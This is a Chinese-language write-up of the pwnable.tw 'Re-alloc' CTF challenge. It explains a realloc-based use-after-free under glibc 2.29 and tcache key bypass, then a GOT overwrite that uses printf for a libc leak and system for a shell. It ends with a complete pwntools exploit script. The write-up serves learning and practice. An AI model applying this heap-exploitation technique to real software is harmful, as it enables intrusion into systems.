pwnable.tw Re-alloc

发布于 2020-07-04  304 次阅读


预分析

拿到题目首先分析执行流:

题目没有 strip 符号表,降低了难度。

首先是一个 menu,典型的堆题了:

$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊      RE Allocator      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. Alloc               $
$   2. Realloc             $
$   3. Free                $
$   4. Exit                $
$$$$$$$$$$$$$$$$$$$$$$$$$$$$

checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

libc 版本:

2.29

程序主要逻辑:

程序提供了三个函数操作:allocatereallocaterfree。在全局数组heap[2]中存放分配的 chunk 的指针。

此题的特殊点在于,分配堆内存时使用的全部都是 realloc 函数而非 malloc 。限制了分配的内存大小小于0x78,只能分配到 tcache 范围内的 chunk ,且 libc 版本较高,对于 tcache 有额外的检查。

背景知识

realloc函数

函数原型:

void *realloc(void *ptr, size_t size);

在参数 ptr 、size 的各种取值情况下,等效于:

  1. ptr == 0: malloc(size)
  2. ptr != 0 && size == 0: free(ptr)
  3. ptr != 0 && size == old_size: edit(ptr)
  4. ptr != 0 && size < old_size: edit(ptr) and free(remainder)
  5. ptr != 0 && size > old_size: new_ptr = malloc(size); strcpy(new_ptr, ptr); free(ptr); return new_ptr;

libc 2.29 对 tcache 新增的检查

// glibc-2.29
​
typedef struct tcache_entry
{
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;
​
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
​
  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  //new
​
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
​
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;    //new
  return (void *) e;
}

主要检查为,当一个chunk 被 free 到 tcache 中时,其 fd 的下一个字长不再空余,而是被置为 key ,存放保存 tcache 结构体的 chunk 的地址:

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291
​
Free chunk (tcache) | PREV_INUSE
Addr: 0x405290
Size: 0x21
fd: 0x00
​
Top chunk | PREV_INUSE
Addr: 0x4052b0
Size: 0x20d51
​
pwndbg> x/4gx 0x405290
0x405290:   0x0000000000000000  0x0000000000000021
0x4052a0:   0x0000000000000000  0x0000000000405010 <= key值,指向上方保存 tcache 的第一个chunk

即通过 key 值来表示该 chunk 是否是置于 tcache 中的。

同时利用此 key 值对进入 tcache 的chunk 进行检查如下:

// glibc-2.29
​
/* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free.  */
e->key = tcache;    //new

_int_free 函数中会检查 tcache 中是否存在其它 tcache free chunk 与当前释放的 chunk 地址相同,进而探测 double free 。

绕过此检查的方法也不难,借由 UAF、chunk overlap 等漏洞,将 tcache chunk 的 key 覆盖成不为存放 tcache 的内存地址即可。

漏洞利用

程序的 rfree 函数做了清空指针操作,看似杜绝了 UAF ,实际上在 reallocate 函数中调用 realloc 时,将其参数 size 置为 0,就等效于调用了 free(ptr),且此时是没有清空 heap[2] 数组中的指针的。由此造成 UAF。

由于程序的 got 表可写,故思路为:通过修改某参数为可控内容的内存指针的函数的 got 表项为 system 函数地址,传入 "/bin/sh\x00" 即可 get shell。

整体流程如下:

  • 利用上述 UAF 漏洞,在两处 tcache 项上放置 atoll@got ,准备对其进行篡改
  • 第一次放置
# UAF 放置 atoll@got 至 tcache@0x20
alloc(0, 0x18, "AAA")
realloc(0, 0, "")
realloc(0, 0x18, p64(elf.got["atoll"])) # 由于 realloc 函数中 ptr 指向 tcache free chunk 时,其不会将该 chunk 从 tcache 中取出 [1],故此处相当于 edit 功能 
alloc(1, 0x18, "BBB")
​
# 清零 heap[0]、heap[1],以进行第二次放置
realloc(0, 0x28, "CCC")
free(0)
realloc(1, 0x28, "s"*0x10) # 因为[1]处原因,且 rfree 也由 realloc 实现,故此处需要将 fd 与 key 都覆盖为垃圾数据,确保 key 被修改以绕过 double free 检查
free(1)
  • 第二次放置
# UAF 放置 atoll@got 至 tcache@0x40 
alloc(0, 0x38, "AAA") 
realloc(0, 0, "") 
realloc(0, 0x38, p64(elf.got["atoll"])) # 由于 realloc 函数中 ptr 指向 tcache free chunk 时,其不会将该 chunk 从 tcache 中取出,故此处相当于 edit 功能  alloc(1, 0x38, "BBB") 

# 清零 heap[0]、heap[1],以进行接下来的利用 
realloc(0, 0x48, "CCC") 
free(0) 
realloc(1, 0x48, "s"*0x10) # 因为[1]处原因,且 rfree 也由 realloc 实现,故此处需要将 fd 与 key 都覆盖为垃圾数据,确保 key 被修改以绕过 double free 检查 
free(1) 
  • 利用其中一个指向atoll_got的 chunk 更改atoll_gotprintf_plt,这样在调用atoll时,就会调用printf从而构造出一个格式化字符串漏洞,利用这个漏洞可以 leak 出栈上的libc地址,这里选择 leak__libc_start_main
  • 利用另一个指向atoll_got的 chunk 将atoll_got再改成system,注意因为此时atollprintf,所以在调用 alloc 时,需要输入的 Index 和 Size 不是直接输入数字,而是通过输入的 string 的长度来通过 printf 返回的值间接传给Index和Size。
  • 最后再输入/bin/sh\x00调用atoll来执行system("/bin/sh");即可 get shell。

EXP

#!/usr/bin/python3
__Auther__ = 'IZAYOI'
 
from pwn import *
import sys, time
 
################################################
elf_file = "./re-alloc"
libc_file = "./libc.so"
domain = "chall.pwnable.tw"
port = 10106
#context.terminal = ["konsole", "-e", "sh", "-c"]
context.log_level = "debug"
#context.arch = ""
#context.binary = ""
################################################
elf = ELF(elf_file)                            # 
libc = ELF(libc_file)                          #
if sys.argv[1] == '-l':                        #
    io = process(elf_file)                     #
elif sys.argv[1] == '-r':                      #
    io = remote(domain, port)                  #
else:                                          #
    print("./exploit.py <-l>/<-r>")            #
s = io.send                                    #
sl = io.sendline                               #
sa = io.sendafter                              #
sla = io.sendlineafter                         #
r = io.recv                                    #
rl = io.recvline                               #
ru = io.recvuntil                              #
it = io.interactive                            #
################################################
 
def alloc(index, size, data):
    sla("Your choice: ", "1")
    sla("Index:", str(index))
    sla("Size:", str(size))
    sa("Data:", data)

def realloc(index, size, data):
    sla("Your choice: ", "2")
    sla("Index:", str(index))
    sla("Size:", str(size))
    if size != 0:
        sa("Data:", data)

def free(index):
    sla("Your choice: ", "3")
    sla("Index:", str(index))

if __name__ == '__main__':
    
    alloc(0, 0x18, "AAA")
    realloc(0, 0, "")
    realloc(0, 0x18, p64(elf.got["atoll"]))
    alloc(1, 0x18, "BBB")

    realloc(0, 0x28, "CCC")
    free(0)
    realloc(1, 0x28, "s"*0x10)
    free(1)

    alloc(0, 0x38, "AAA")
    realloc(0, 0, "")
    realloc(0, 0x38, p64(elf.got["atoll"]))
    alloc(1, 0x38, "BBB")

    realloc(0, 0x48, "CCC")
    free(0)
    realloc(1, 0x48, "s"*0x10)
    free(1)


    alloc(0, 0x38, p64(elf.plt["printf"]))
    free("%21$llx")

    libc_start_main_ret = int(r(12), 16)
    libc_base = libc_start_main_ret - libc.symbols["__libc_start_main"] - 0xeb
    system_addr = libc_base + libc.symbols["system"]
    success("system address: " + hex(system_addr))
    
    sla("Your choice: ", "1")
    sla("Index:", "A\x00")
    sa("Size:", "A"*15+"\x00")
    sa("Data:", p64(system_addr))
    free("/bin/sh\x00")

    it()